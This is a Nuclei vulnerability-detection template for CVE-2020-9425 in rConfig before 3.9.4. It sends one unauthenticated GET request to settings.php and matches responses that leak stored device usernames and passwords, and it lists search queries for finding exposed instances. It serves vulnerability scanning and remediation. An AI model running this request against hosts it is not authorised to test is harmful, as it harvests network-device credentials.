id: CVE-2020-9425

info:
  name: rConfig <3.9.4 - Sensitive Information Disclosure
  author: madrobot
  severity: high
  description: rConfig prior to version 3.9.4 is susceptible to sensitive information disclosure. An unauthenticated attacker can retrieve saved cleartext credentials via a GET request to settings.php. Because the application does not exit after a redirect is applied, the rest of the page still executes, resulting in the disclosure of cleartext credentials in the response.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as usernames and passwords.
  remediation: |
    Upgrade rConfig to version 3.9.4 or later to fix the vulnerability.
  reference:
    - https://blog.hivint.com/rconfig-3-9-3-unauthenticated-sensitive-information-disclosure-ead4ed88f153
    - https://github.com/rconfig/rconfig/commit/20f4e3d87e84663d922b937842fddd9af1b68dd9
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9425
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9425
    cwe-id: CWE-670
    epss-score: 0.16671
    epss-percentile: 0.96621
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve,cve2020,rconfig.exposure,rconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/settings.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "defaultNodeUsername"
          - "defaultNodePassword"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022077aa4bd917c0f927ccdc1c8e1d8b98d8f73b9c827681ea59218132939f9744dc022002930f8f3326118b3da3ef27c2e8080cbc0397112722a88fbe3440e9b4ba5b3e:922c64590222798bb761d5b6d8e72950